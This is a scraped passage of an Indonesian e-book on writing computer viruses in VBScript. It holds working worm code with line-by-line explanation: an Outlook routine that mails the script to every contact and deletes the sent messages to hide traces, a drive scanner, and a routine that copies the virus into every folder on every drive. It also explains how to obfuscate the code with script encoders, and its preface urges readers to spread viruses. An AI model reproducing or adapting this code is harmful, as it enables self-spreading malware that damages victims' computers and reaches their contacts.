dalam email, dimana isinya adalah “INI BODY E-MAIL” dan anda dapat
menggantinya sesuai dengan keinginan anda.
•

Set AttachmentItem = ObjEmailItem.Attachments

Baris

ini

mengeset

variabel

“AttachmentItem”

sebagai

objek

“ObjEmailItem.Attachments” yang nantinya berfungsi untuk mewakili objek
attachment pada email.

46
•

ObjEmailItem.DeleteAfterSubmit = True

Baris ini berfungsi untuk mengeset setting Outlook untuk secara otomatis
menghapus email yang sudah terkirim, maksudnya untuk menghilangkan jejak
virus yang berusaha mengirimkan email pada setiap daftar kontak di Outlook.
•

AttachmentItem.Add WScript.ScriptFullName

Perintah pada baris ini berfungsi untuk menambahkan attachment email dengan
virus

itu

sendiri,

dimana

perintah

“WScript.ScriptFullName”

merupakan pengalamatan path dirinya sendiri.
•

If ObjEmailItem.To <> "" Then

Baris ini merupakan blok pembuka IF…END IF yang akan memeriksa apakah
alamat tujuan tidak kosong, jika tidak maka eksekusi perintah yang berada
didalam blok IF…END IF tersebut.
•

ObjEmailItem.Send

Kirim email, ya, pada baris ini virus akan memerintahkan Outlook untuk segera
mengirimkan email beserta dengan atachment virus.
•

End If

Merupakan blok penutup IF…END IF dari “If ObjEmailItem.To <> ""
Then”.

•

Next

Merupakan blok penutup perulangan FOR…NEXT dari “For I = 1 To
JmlAlamat”.

•

End If

Merupakan

blok

penutup

IF…END

IF

dari

“If

Alamat.AddressEntries.Count <> 0 Then”.

•

Next

Juga merupakan blok penutup perulangan FOR…NEXT dari “For Each
Alamat In DaftarAlamat”.

•

End If

Sama, juga merupakan blok penutup IF…END IF dari “If ObjEmail =
"Outlook" Then”.

47
•

End function

Merupakan blok penutup prosedur fungsi “Function InfeksiEmail()”.
4.5

Scan Seluruh Drive, Folder dan Sub-Folder
Pada sub-bab ini akan dijelaskan bagaimana melakukan scan terhadap seluruh drive
dan folder beserta dengan sub-folder-nya (seperti sistem scan pada antivirus).
Teknik ini dapat digunakan untuk menyebarkan virus kita keseluruh drive, folder
dan sub-folder (biar harddisk target jadi penuh dengan virus kita ☺). Ok, perhatikan
script berikut :

Dim FSO
Dim Drive, Drives, Folder, SubFolder, SubFolders
Dim objDaftar
Dim DaftarFolder

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Drives = FSO.Drives

For Each Drive in Drives
If Drive.IsReady Then
ScanFolder Drive & ""
End If
Next

'Simpan Daftar Folder pada "C:Daftar.txt"
Set objDaftar = FSO.CreateTextFile("C:Daftar.txt")
objDaftar.Write DaftarFolder
objDaftar.Close

'Beri Konfirmasi Proses Selesai...
MsgBox "Proses Selesai..."

Function ScanFolder(Path)
On Error Resume Next
Set Folder = FSO.GetFolder(Path)
Set SubFolders = Folder.SubFolders

48
For Each SubFolder in SubFolders
DaftarFolder = DaftarFolder & SubFolder & VBCrLf

ScanFolder SubFolder.Path
Next
End Function

Script tersebut diatas akan melakukan scan terhadap setiap drive, folder dan subfolder yang berada pada system secara berurutan dari drive pertama sampai drive
terakhir, mendatanya dan menyimpan data daftarnya pada file “C:Daftar.txt”.
Berikut adalah penjelasan script-nya baris-per-baris :
•

Dim FSO

Baris ini merupakan deklarasi variabel bernama “FSO”.
•

Dim Drive, Drives, Folder, SubFolder, SubFolders

Baris ini merupakan deklarasi variabel dengan nama “Drive”, “Drives”,
“Folder”, “SubFolder”, “SubFolders”.
•

Dim objDaftar

Sama seperti sebelumnya, baris ini juga merupaka deklarasi variabel dengan
nama “objDaftar”.
•

Dim DaftarFolder

Juga

sama,

baris

ini

merupakan

deklarasi

variabel

dengan

nama

“DaftarFolder”.
•

On Error Resume Next

Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi
dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus
menghentikan program dan tanpa menyebabkan run-time error.
•

Set FSO = CreateObject("Scripting.FileSystemObject")

Baris

ini

berfungsi

untuk

mengeset

variabel

“FSO”

sebagai

objek

“Scripting.FileSystemObject”.

49
•

Set Drives = FSO.Drives

Baris ini berfungsi untuk mengeset variabel “Drives” sebagai objek
“FSO.Drives”

yang

merupakan

fungsi

yang

dimiliki

oleh

objek

“Scripting.FileSystemObject” yang telah diwakilkan oleh variabel “FSO”
sebelumnya.
•

For Each Drive in Drives

Baris ini merupakan awal dari blok perulangan FOR…NEXT yang berfungsi
untuk mendapatkan setiap drive yang terinstall pada sistem.
•

If Drive.IsReady Then

Baris ini merupakan blok pembuka IF…END IF yang berfungsi untuk
memeriksa apakah drive siap? Jika siap maka jalankan perintah yang berada
didalam blok IF…END IF tersebut.
•

ScanFolder Drive & ""

Baris ini berfungsi untuk memanggil dan menjalankan fungsi “ScanFolder”
untuk melakukan scan pada drive yang sedang aktif didalam perulangan
FOR…NEXT tersebut. Fungsi “ScanFolder” tersebut berada pada bagian
bawah script.
•

End If

Merupakan blok penutup IF…END IF dari “If Drive.IsReady Then”.
•

Next

Merupakan blok penutup perulangan FOR…NEXT dari “For Each Drive In
Drives”.

•

Set objDaftar = FSO.CreateTextFile("C:Daftar.txt")

Baris ini berfungsi untuk mengeset variabel “objDaftar” sebagai objek
“FSO.CreateTextFile” yang merupakan fungsi yang dimiliki oleh objek
“Scripting.FileSystemObject” yang telah diwakili oleh variabel “FSO”
sebelumnya, dan sekaligus membuat sebuah file text di “C:” dengan nama file
“Daftar.txt”.

50
•

objDaftar.Write DaftarFolder

Baris ini berfungsi untuk menulis ke file yang sebelumnya telah dibuat
(“C:Daftar.txt”) dengan daftar folder yang terkandung didalam variabel
“DaftarFolder” dimana variabel tersebut diisi pada fungsi “ScanFolder”.
•

objDaftar.Close

Baris ini berfungsi untuk menutup file yang tadi telah dibuat dan ditulis
(“C:Daftar.txt”). Ingat, Setiap kali anda membuka file jangan lupa untuk
menutupnya.
•

MsgBox "Proses Selesai..."

Perintah pada baris ini berfungsi untuk menampilkan messagebox sebagai
konfirmasi bahwa script telah selesai dijalankan. Ya, baris ini memang bukan
merupakan baris terakhir pada script akan tetapi baris inilah yang akan
dieksekusi paling terakhir oleh interpreter.
•

Function ScanFolder(Path)

Baris ini merupakan blok pembuka fungsi “ScanFolder”. Fungsi ini memiliki
sebuah parameter atau argumen yaitu “Path”, argumen “Path” tersebut
digunakan untuk melewatkan path drive yang akan di-scan folder-nya, misalnya
“C:” jadi anda dapat memanggil fungsi “ScanFolder” dengan “ScanFolder
"C:"”.

•

On Error Resume Next

Perintah pada baris ini berfungsi untuk tidak menghiraukan error yang terjadi
dan jika terjadi error maka lanjutkan proses ke baris berikutnya tanpa harus
menghentikan program dan tanpa menyebabkan run-time error.
•

Set Folder = FSO.GetFolder(Path)

Baris ini berfungsi untuk mengeset variabel “Folder” sebagai objek
“FSO.GetFolder” yang merupakan fungsi yang dimiliki oleh objek
“Scripting.FileSystemObject” yang sebelumnya telah diwakili oleh variabel
“FSO”.

51
•

Set SubFolders = Folder.SubFolders

Baris ini berfungsi untuk mengeset variabel “SubFolder” sebagai objek
“Folder.SubFolders” yang merupakan hasil perwakilan dari “FSO.GetFolder”
dari baris sebelumnya.
•

For Each SubFolder in SubFolders

Baris ini merupakan awal blok perulangan FOR…NEXT yang berfungsi untuk
mendapatkan daftar folder beserta sub-folder-nya.
•

DaftarFolder = DaftarFolder & SubFolder & VBCrLf

Baris ini berfungsi untuk menyimpan seluruh daftar folder ke dalam variabel
“DaftarFolder”. Perintah “VBCrLf” pada baris ini memiliki tujuan yang sama
dengan karakter ENTER (untuk pindah ke baris berikutnya).
•

ScanFolder SubFolder.Path

Baris ini berfungsi untuk memanggil fungsi “ScanFolder” untuk melakukan
scan terhadap sub-folder. Dengan kata lain memanggil dan memerintahkan
dirinya sendiri (fungsi tersebut sendiri).
•

Next

Baris ini meripakan blok penutup FOR…NEXT dari “For Each SubFolder In
SubFolders”.

•

End Function

Baris ini merupakan blok penutup fungsi “ScanFolder”.

Selanjutnya simpan script tersebut lalu jalankan dan tunggu sampai muncul
tampilan messagebox yang bertuliskan “Proses Selesai…” dan setelah itu coba lihat
pada drive C: akan terdapat sebuah file yang bernama “Daftar.txt” yang jika dibuka
akan berisi seluruh daftar folder dan sub-folder yang terdapat pada komputer anda.
Kerenkan… ☺.

Gambar 4.6: Messagebox Konfirmasi Proses Selesai

52
Gambar 4.7: Daftar Folder pada File Daftar.txt

4.6

Infeksi Masal (Infeksi Seluruh Drive, Folder dan Sub-Folder)
Pada sub-bab sebelumnya telah dibahas mengenai cara scan seluruh drive, folder
dan sub-folder, pada sub-bab ini pembahasan tersebut akan dikembangkan sehingga
kita dapat membuat virus yang dapat meng-copy-kan dirinya sendiri ke seluruh
drive, folder dan sub-folder yang berada didalam sistem komputer tersebut.

Algoritmanya adalah sebagai berikut : virus dapat meng-copy-kan dirinya sendiri ke
dalam folder dan sub-folder yang berada diseluruh drive dengan nama file yang
sama dengan nama folder tempat virus tersebut akan di-copy-kan. Script yang
digunakan adalah script yang telah dibahas pada sub-bab sebelumnya hanya saja
ditambahkan sedikit modifikasi. Script yang tercetak dengan warna MERAH
adalah script tambahan ataupun modifikasi, berikut adalah scriptnya :

Dim FSO
Dim Drive, Drives, Folder, SubFolder, SubFolders

On Error Resume Next
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Drives = FSO.Drives

For Each Drive in Drives

53
If Drive.IsReady Then
ScanFolder Drive & ""
End If
Next

ScanFolder "C:"

'Beri Konfirmasi Proses Selesai...
MsgBox "Proses Selesai..."

Function ScanFolder(Path)
Dim strNamaFolder

On Error Resume Next
Set Folder = FSO.GetFolder(Path)
Set SubFolders = Folder.SubFolders

For Each SubFolder in SubFolders
strNamaFolder = SubFolder

CopyVirus strNamaFolder

ScanFolder SubFolder.Path
Next
End Function

Function CopyVirus(TargetPath)
Dim strPath

On Error Resume Next
strPath = TargetPath

If Right(strPath, 1) <> "" Then
strPath = strPath & ""
End If

If Not FSO.FileExists(strPath & NamaFolder(TargetPath) & ".vbs")
Then

54
FSO.CopyFile

WScript.ScriptFullName,

strPath

&

NamaFolder(TargetPath) & ".vbs", TRUE
End If
End Function

Function NamaFolder(TargetFolder)
Dim i

On Error Resume Next
'Hilangkan Tanda BackSlash () Pada Nama Folder
If Right(TargetFolder, 1) = "" Then
TargetFolder = Left(TargetFolder, Len(TargetFolder) - 1)
End If

'Jangan Proses Jika Merupakan Root Drive
If Len(TargetFolder) <= 3 Then
NamaFolder = ""
Exit Function
End If

'Jangan Proses Jika Tidak Memiliki Tanda BackSlash
If InStr(TargetFolder, "") = 0 Then
NamaFolder = ""
Exit Function
End If

'Dapatkan Nama Folder
For i = 0 to Len(TargetFolder)
If Mid(TargetFolder, Len(TargetFolder) - i, 1) = "" Then
Exit For
End If
Next

NamaFolder = Right(TargetFolder, i)
End Function

55
Nah… Loh… Panjang banget script-nya… Pokonya perhatikan saja script yang
dicetak dengan warna MERAH, karena script yang dicetak dengan warna BIRU
sudah dibahas pada sub-bab sebelumnya. Untuk lebih memahami algoritma dari
script tersebut coba saja anda copy-kan script tersebut pada notepad dan anda
simpan sebagai file *.vbs lalu anda jalankan, setelah itu periksa setiap folder dan
sub-folder yang terdapat pada harddisk anda.

Ok, mulai bagian ini sampai akhir saya tidak akan memberikan penjelasan seperti
pada script-script sebelumnya, soalnya capek banget sih ☺.

4.7

VBE, File VBScript yang Ter-Encode (Terenkripsi / Tersandi)
Pada bab terdahulu telah dijelaskan mengenai program enkripsi yang bernama
KAVEE (Kefi’s VBS Encryption Engine). Dengan program ini anda dapat dengan
mudah mengenkripsi file-file script VBScript anda sehingga tidak dapat terbaca.
Algoritma yang diterapkan dalam enkripsi tersebut serupa dengan algoritma
enkripsi-enkripsi lainnya yang umum digunakan dalam mengenkrpsi script virus,
seperti virus vbs.redlof misalnya.

Namun model enkripsi tersebut memiliki kelemahan yang menyebabkan orang lain
dapat membaca script yang telah kita buat dan kita enkripsi tersebut. Hal tersebut
dapat terjadi dikarenakan pada script yang sama juga telah terdapat fungsi encoder /
decryptor-nya. Sebagai contoh, misalnya anda menuliskan script sebagai berikut :

MsgBox "Percobaan Enkripsi...", VBInformation, "Informasi"

Dan anda enkripsi menggunakan program KAVEE sehingga (kurang lebih) script
akan tampak seperti berikut :

vhJt

=
134

139
133 ,

ARrAy(

96 , _

, 122
,
118

, 85 ,
51

,
, 130

53
,

117

130

,

, 99 ,
,

_
120

116

,
,

_

56
…
Script Terlalu Panjang, Dipotong
…
FoR Each Fopuf In vhJt
kPaG = kPaG & chr(Fopuf - 19)
neXt
ExECuTe kPaG

Script diatas merupakan script hasil enkripsi yang dilakukan dengan menggunakan
program KAVEE (tidak ditampilkan semua) dan perhatikan pada bagian script yang
tercetak dengan warna MERAH. Script yang tercetak dengan warna MERAH
tersebut merupakan decryptor yang berfungsi untuk menerjemahkan bagian script
yang terenkripsi sehingga dapat dieksekusi.

Mungkin anda bertanya-tanya apa pengaruhnya dan apa yang salah serta dimana
salahnya??? Ceritanya begini, saya mempunyai teman yang bernama Mario yang
tinggal di Wisma Asri Bekasi. Dia terobsesi dengan buku terbitan Jasakom dan
salah satu buku yang dia baca adalah “Pemrograman Virus dan Spyware”
(http://www.jasakom.com/penerbitan) yang juga terbitan Jasakom. Pada buku
tersebut dijelaskan bagaimana cara membaca script yang menggunakan teknik
enkripsi seperti diatas yaitu dengan mengganti perintah “Execute” (yang terdapat
pada baris terakhir dari contoh script diatas) dengan perintah “MsgBox” dan
jalankan script tersebut lalu… ya script tersebut dapat dibaca dan teman saya yang
bernama Mario tadi bangga merasa sudah berhasil memecahkan enkripsi tersebut.

Namun saya terus berkata: “Itu sih model enkripsi anak TK jadi gampang di-crack,
coba lho crack model enkripsi anak SD bikinan gue…”. Terus saya membuat
sebuah script yang sama seperti pada contoh diatas dan saya enkripsi dengan
menggunakan program Script Encoder buatan Microsoft yang hasilnya seperti
berikut :

#@~^OgAAAA==ko$K6,Jn D1G4mlUPAxV.bw/b RcJ~,#$q
0KDhlOrKxSPr(x6W.hm/kE0BMAAA==^#~@

57
Lalu saya suruh teman saya yang bernama Mario tadi untuk memecahkan enkripsi
tersebut. Apa yang terjadi, dia Cuma “pelengah-pelengoh” kaya orang bego yang
jadi tambah bego…

Cara membuat enkripsi tersebut adalah dengan menggunakan program yang
bernama Script Encoder yang dapat di-download dari website Microsoft. Program
tersebut tidak hanya dapat mengenkripsi script-script VBScript akan tetapi juga
mampu untuk mengenkripsi script-script ASP, Jscript, dan JavaScript. Namun yang
akan dibahas disini adalah bagaimana melakukan enkripsi script VBScript yang
terdapat pada file *.vbs menjadi script VBScript yang terenkripsi dengan file *.vbe.

Syarat utama yang harus diperhatikan adalah kita akan mengubah file *.vbs menjadi
file *.vbe yang berisi script yang telah terenkripsi. File hasil enkripsi harus memiliki
ekstensi *.vbe agar dapat berjalan, jika tidak script tidak akan berjalan.

Jika anda telah men-download program Script Encoder maka seharusnya anda
akan memiliki sebuah file yang bernama “screnc.exe”. file tersebutlah yang akan
digunakan untuk melakukan enkripsi dan berikut adalah sintaks penggunaannya :
Screnc.exe –l vbscript [file_sumber.vbs] [file_hasil_enkripsi.vbe]

Dari sintaks tersebut, file_sumber.vbs adalah nama file yang ingin dienkripsi dan
file_hasil_enkripsi.vbe adalah nama file output yang akan dihasilkan yang berisi
script yang telah terenkripsi dan diasumsikan kedua file tersebut berada pada folder
yang sama dengan program screnc.exe. Berikut adalah caranya :

Cara Pertama :
1. Masuk ke DOS Prompt dan pindah directory ketempat dimana file “screnc.exe”
berada.
2. Ketikan perintah berikut :
screnc –l vbscript file1.vbs file2.vbe

58
Cara Kedua :
1. Klik menu “Start > Run” sehingga tampil dialogbox “Run”.
2. Dengan asumsi file screnc.exe dan file script berada pada root drive C:, ketikan
perintah berikut :
c:screnc.exe -l vbscript coba.vbs coba2.vbe

59
PENUTUP

Ok, akhirnya sampailah kita pada akhir pembahasan pada e-book ini. Sebenarnya masih
banyak lagi yang ingin penulis sampaikan dalam e-book ini, namun dikarenakan
keterbatasan waktu serta kesibukan penulis sebagai programmer yang banyak menyita
waktu, hal tersebut tidak dapat dilakukan. Mudah-mudahan dilain waktu pembahasan ini
dapat dilanjutkan lagi sampai dengan selesai.

Akhir kata, penulis ingin meminta maaf jika terdapat kata-kata dan tulisan yang kurang
berkenan dihati para pembaca sekalian, dan khususnya untuk teman saya Mario yang
sering saya sebutkan dalam e-book ini, sorry banget, tapikan memang kenyataannya kaya
gitu ☺.

Terakhir, selamat mencoba, tetap semangat belajar, tetap rendah diri, jangan pelit dengan
ilmu, dan jangan pernah takut untuk mencoba serta jangan pernah takut untuk gagal.

Salam dari Solo, Jawa Tengah,
Penulis,

Wahyu Primadi, S.Kom, S.Met
(Penguasa Distrik Solo)

60
DAFTAR PUSTAKA / REFERENSI

1. [K] Website & Article, [K]alamar, http://www.virii.com.ar, Virii Argentina
2003.
2. The Little Black Book of Computer Viruses, Mark A. Ludwig, American Eagle
Publications Inc, ISBN 0-929408-02-0, 22/02/1996.
3. Windows Script Documentation,
http://www.microsoft.com/downloads/details.aspx?FamilyId=01592C48-207D4BE1-8A76-1C4099D7BBB9&displaylang=en, Microsoft Corporation, [LAST
UPDATE].
4. Windows Scripting Technologies, http://msdn.microsoft.com/scripting,
Microsoft Corporation, [LAST UPDATE].
5. Understanding The Windows Scripting Host, Julian Moss, PC Support
Advisor, June 1998.
6. Microsoft Script Engines Documentation,
http://www.microsoft.com/scripting/start.htm, Microsoft Corporation.
7. Understanding The Registry, Mike Lewis, PC Support Advisor, May 1999.
8. Windows Registry Guide, http://www.winguides.com, WinGuides, 2002.

61

More Related Content

PDF
Seri buku literasi digital internet sehat pedoman berinternet sehat, aman, ...
DOCX
Manual aplikasi ujian online zya cbt - Administrator rev.2020-09-19
PPTX
Dampak negatif media sosial
PDF
Materi 4 (TOT Literasi Digital): Jejak Digital dan Konten Positif
PPT
Cyber_Security.ppt
DOCX
Makalah sistem operasi jaringan
PPT
01-Pengantar Keamanan Komputer.ppt
PDF
Materi ajar PWPB kelas XI RPL - Hyperlink pada HTML
Seri buku literasi digital internet sehat pedoman berinternet sehat, aman, ...
Manual aplikasi ujian online zya cbt - Administrator rev.2020-09-19
Dampak negatif media sosial
Materi 4 (TOT Literasi Digital): Jejak Digital dan Konten Positif
Cyber_Security.ppt
Makalah sistem operasi jaringan
01-Pengantar Keamanan Komputer.ppt
Materi ajar PWPB kelas XI RPL - Hyperlink pada HTML

What's hot (20)

PDF
Proposal Penawaran Pembangunan Aplikasi Tracking Barang
PDF
Cerdas memanfaatkan media sosial di era digital
DOCX
Makalah sistem operasi win vista
PDF
Kapita selekta 2012-2013 Teknik Informatika - UNIKOM
PDF
Netiket dan Aturan di Dunia Siber
PDF
Laporan praktikum linux
PDF
Proposal skripsi sugeng
DOCX
Cara melakukan instalasi sistem operasi Windows dan Linux .docx
PDF
Materi 1 (TOT Literasi Digital): Internet, Media Sosial, dan Literasi Digital
PPTX
TUGAS SISWA : Sistem Operasi iOS
PPTX
Prinsip Dasar Cloud Computing
PPT
Pengenalan html
PPTX
DISK
PPTX
PRESENTASI CYBERSECURITY REKTOR
PPTX
Android ppt
DOCX
rpp-informatika-kelas-xii-semester-1.docx
PDF
Materi seminar parenting bahaya gadget bagi anak dan cara mengatasinya 2021
PPTX
Konvensi Hak Anak
PPTX
Pengantar Materi Pengertian dan Pengenalan Microsoft Office_PPAN1.pptx
PPT
Presentation web-browser
Proposal Penawaran Pembangunan Aplikasi Tracking Barang
Cerdas memanfaatkan media sosial di era digital
Makalah sistem operasi win vista
Kapita selekta 2012-2013 Teknik Informatika - UNIKOM
Netiket dan Aturan di Dunia Siber
Laporan praktikum linux
Proposal skripsi sugeng
Cara melakukan instalasi sistem operasi Windows dan Linux .docx
Materi 1 (TOT Literasi Digital): Internet, Media Sosial, dan Literasi Digital
TUGAS SISWA : Sistem Operasi iOS
Prinsip Dasar Cloud Computing
Pengenalan html
DISK
PRESENTASI CYBERSECURITY REKTOR
Android ppt
rpp-informatika-kelas-xii-semester-1.docx
Materi seminar parenting bahaya gadget bagi anak dan cara mengatasinya 2021
Konvensi Hak Anak
Pengantar Materi Pengertian dan Pengenalan Microsoft Office_PPAN1.pptx
Presentation web-browser
Ad

Similar to Pemrograman Virus Menggunakan VBScript (20)

DOCX
Suryani
PPTX
TUGAS MULOK 3
PPTX
Intan ayudhani xii ipa 4
PPTX
Intan ayudhani xii ipa 4
DOCX
Keamanan sistem komputer makalah tentang virus komputer
PPT
Virus komputer
PPT
Presentasi Tentang Virus
PPT
Presentasi Tentang Virus
PPT
Presentasi Tentang Virus
PPTX
Presentasi tentang malware kelompok 3 kuliah jaringan komputer
PPTX
Antivirus AVG
PPTX
Tugas mulok avg
PPTX
Tugas mulok avg
PDF
Rootmagz 022015
PDF
DOCX
Laporan akhir penyebaran virus komputer - rahmatdi
PPT
AVAST Antivirus XII IPA 2
DOCX
sistem operasi closed source
PDF
Virus atau Worm
Suryani
TUGAS MULOK 3
Intan ayudhani xii ipa 4
Intan ayudhani xii ipa 4
Keamanan sistem komputer makalah tentang virus komputer
Virus komputer
Presentasi Tentang Virus
Presentasi Tentang Virus
Presentasi Tentang Virus
Presentasi tentang malware kelompok 3 kuliah jaringan komputer
Antivirus AVG
Tugas mulok avg
Tugas mulok avg
Rootmagz 022015
Laporan akhir penyebaran virus komputer - rahmatdi
AVAST Antivirus XII IPA 2
sistem operasi closed source
Virus atau Worm
Ad

More from Wahyu Primadi (6)

PPTX
Timeline from 2016
PDF
Curriculum Vitae of Wahyu Primadi
PPTX
Introduction to IT Service Desk
PPT
IT Service Desk
PPT
Pengantar Pemrograman Visual II
PPT
Pengantar Kuliah: Pemrograman Berorientasi Objek 2 (AJAX)
Timeline from 2016
Curriculum Vitae of Wahyu Primadi
Introduction to IT Service Desk
IT Service Desk
Pengantar Pemrograman Visual II
Pengantar Kuliah: Pemrograman Berorientasi Objek 2 (AJAX)

Recently uploaded (20)

PDF
PPT IPS Geografi SMA Kelas X_Bab 1 Pengantar Geografi_May.pdf
DOCX
LKPD_Bab_1_Informatika_Kelas_9. : Informatika dan Keterampilan Generikdocx
PPTX
Modul 2. Berpikir Komputasional sebagai Dasar Koding untuk Kecerdasan Artifis...
PPTX
Mind_Map_Modul_5_Pedagogik_Koding_AI.pptx
DOCX
Modul Ajar Deep Learning Bahasa Inggris Kelas 12 SMA Terbaru 2025
PPTX
Pancasila: fondasi peradaban dan kebudayaan berkelanjutan
PPSX
Teknik Trading Selang Seling Yang Dapat Digunakan Untuk Trading Manual Maupun...
DOCX
Modul Ajar Deep Learning Bahasa Inggris Lanjutan Kelas 11 SMA Terbaru 2025
DOCX
Modul Ajar Deep Learning PAI & BP Kelas 11 SMA Terbaru 2025
PDF
Pengenalan Undang-undang pengakap laut.pdf
PPTX
Bahan Presentasi Persamaan Elips .pptx
PPTX
XI BAB 7 SISTEM PERNAPASAN pada kelas xi
PPTX
5. Bahan Bacaan Asinkronus Modul 5_ Perencanaan Pembelajaran.pptx
PPTX
Modul 4 Asesmen-dalam-Pembelajaran-Mendalam.pptx
PDF
2. Capaian-Pembelajaran-Koding-Dan-Kecerdasan-Artifisial-Pusbuk.pdf
DOCX
Modul Ajar Deep Learning PJOK Kelas 12 SMA Terbaru 2025
PDF
Lembar Kerja Mahasiswa Konsep Sistem Operasi
DOCX
Modul Ajar Deep Learning PAI & BP Kelas 10 SMA Terbaru 2025
PPTX
PPT Kurikulum Berbasis Cinta tahun 2025.
PPT
Teknologi-Pangan-Pertemuan-820728132309-.ppt
PPT IPS Geografi SMA Kelas X_Bab 1 Pengantar Geografi_May.pdf
LKPD_Bab_1_Informatika_Kelas_9. : Informatika dan Keterampilan Generikdocx
Modul 2. Berpikir Komputasional sebagai Dasar Koding untuk Kecerdasan Artifis...
Mind_Map_Modul_5_Pedagogik_Koding_AI.pptx
Modul Ajar Deep Learning Bahasa Inggris Kelas 12 SMA Terbaru 2025
Pancasila: fondasi peradaban dan kebudayaan berkelanjutan
Teknik Trading Selang Seling Yang Dapat Digunakan Untuk Trading Manual Maupun...
Modul Ajar Deep Learning Bahasa Inggris Lanjutan Kelas 11 SMA Terbaru 2025
Modul Ajar Deep Learning PAI & BP Kelas 11 SMA Terbaru 2025
Pengenalan Undang-undang pengakap laut.pdf
Bahan Presentasi Persamaan Elips .pptx
XI BAB 7 SISTEM PERNAPASAN pada kelas xi
5. Bahan Bacaan Asinkronus Modul 5_ Perencanaan Pembelajaran.pptx
Modul 4 Asesmen-dalam-Pembelajaran-Mendalam.pptx
2. Capaian-Pembelajaran-Koding-Dan-Kecerdasan-Artifisial-Pusbuk.pdf
Modul Ajar Deep Learning PJOK Kelas 12 SMA Terbaru 2025
Lembar Kerja Mahasiswa Konsep Sistem Operasi
Modul Ajar Deep Learning PAI & BP Kelas 10 SMA Terbaru 2025
PPT Kurikulum Berbasis Cinta tahun 2025.
Teknologi-Pangan-Pertemuan-820728132309-.ppt

Pemrograman Virus Menggunakan VBScript

  • 1. BO Bimbingan Orang Tua Pemrograman Virus Menggunakan VBScript Oleh : Wahyu Primadi, S.Kom, S.Met © 2006. Wahyu Utilities. i
  • 2. BO Bimbingan Orang Tua Editorial Pemrograman Virus Menggunakan VBScript Copyright © 2006. Wahyu Utilities. All Rights Reserved. No parts of this work may be reproduced in any form or by any means (graphic, electronic, or mechanical, including photocopying, recording, taping, or information storage and retrieval systems) without the written permission of the publisher. Products that are referred to in this document may be either trademarks and/or registered trademarks of the respective owners. The publisher and the author make no claim to these trademarks. While every precaution has been taken in the preparation of this document, the publisher and the author assume no responsibility for errors or omissions, or for damages resulting from the use of information contained in this document or from the use of programs and source code that may accompany it. In no event shall the publisher and the author be liable for any loss of profit or any other commercial damage caused or alleged to have been caused directly or indirectly by this document. Printed: June 2006 in Wahyu Utilities Laboratory of Sickness. Author : Special Thanks To : Wahyu Primadi, S.Kom, S.Met Publisher : Wahyu Utilities Managing Editor : Wahyu Primadi, S.Kom, S.Met Technical Editor : Wahyu Primadi, S.Kom, S.Met Cover Designer : Wahyu Primadi, S.Kom, S.Met Bokin Gue [Lastrie, Amd], Komputer Gue [Lisa], Almarhum Kucing Gue [Manis], Kucing Gue [Orange], Semua TemenTemen Residivis di STMIK Proactive Yogyakarta, Semua Temen-Temen di STMIK Sinar Nusantara Surakarta, Semua Temen-Temen di Bekasi, Semua TemenTemen di Yogyakarta, Semua TemenTemen di Surakarta – Solo, Semua Temen-Temen yang Pernah Gue Infeksi Komputernya, Semua Temen-Temen Nongkrong, Semua Temen-Temen Coding, dan Semua Mantan Cewek-Cewek Gue… Website : http://www.wahyuprimadi.com Mobile Web : http://mobile.wahyuprimadi.com i
  • 3. BO Bimbingan Orang Tua Tentang Penulis Wahyu Primadi, S.Kom, S.Met, adalah seorang anak muda yang bandel, n’dablek dan penyayang kucing. Menamatkan kuliah komputer jurusan Sistem Informasi pada bulan Februari 2005. Semasa kuliah sering terlibat beberapa aksi massa dan organisasi radikal yang kerap menjadi pihak oposisi dan sering melakukan perlawanan-perlawanan pada suatu keadaan dan keputusan yang merugikan dan menindas rakyat banyak. Sering meneriakan “KUDETA”. Beberapa kali terlibat kasus yang berakhir di Polsek TangenSragen, Polwil Solo, Poltabes Yogyakarta, dan bahkan pernah berakhir di Koramil Tambun-Bekasi ☺. Berkenalan dengan dunia komputer sejak tahun 2000 dan bahasa pemrograman yang dikuasai adalah ASP (Active Server Pages), PHP, VBScript, Java Script, Gambas (Linux), BASH Scripting (Linux), Microsoft Visual Basic 6.0, Microsoft Visual Basic .NET dan database yang pernah saya gunakan adalah Microsoft Access Database, MySQL, Microsoft SQL Server 2000, dan Microsoft SQL Server Desktop Engine. Saya dapat dikontak melalui e-mail di : • webmaster@wahyuprimadi.com • admin@wahyuprimadi.com • wprimadi@gmail.com • wprimadi@yahoo.com • wahyu@programmer.net 1
  • 4. BO Bimbingan Orang Tua Kata Pengantar Puji syukur saya panjatkan kepada ALLAH SWT yang telah memberikan kekuatan dan niat “jahat” dalam menyusun e-book ini hingga bisa hadir dihadapan pembaca yang mempunyai pemikiran “menyimpang”. E-book ini ditulis sebagai referensi terhadap pengguna komputer yang memang belum memahami apa itu virus dan bagaimana cara membuatnya. Terlepas dari permasalahan tersebut, pada dasarnya e-book ini dibuat untuk mereka yang sudah mengerti akan bahasa pemrograman dan konsep pemrograman khususnya bahasa Visual Basic atau VBScript. Dengan e-book ini diharapkan dapat dijadikan solusi pembelajaran dan pengetahuan buat mereka yang tadinya tidak mengerti apa itu virus komputer dan cara membuatnya menjadi mengerti, serta diharapkan dapat mengubah cara pandang serta paradigma berfikir dalam menyikapi virus komputer tersebut dan tidak lagi menjadikan virus komputer sebagai momok yang menakutkan namun menjadikannya “mainan” serta bahan pembelajaran. Ok, selamat membaca, mencoba dan membuat serta sebarkan “firman-firman” kalian dalam virus ke seluruh umat. Solo, 13 Agustus 2006 Penulis Wahyu Primadi, S.Kom, S.Met 2
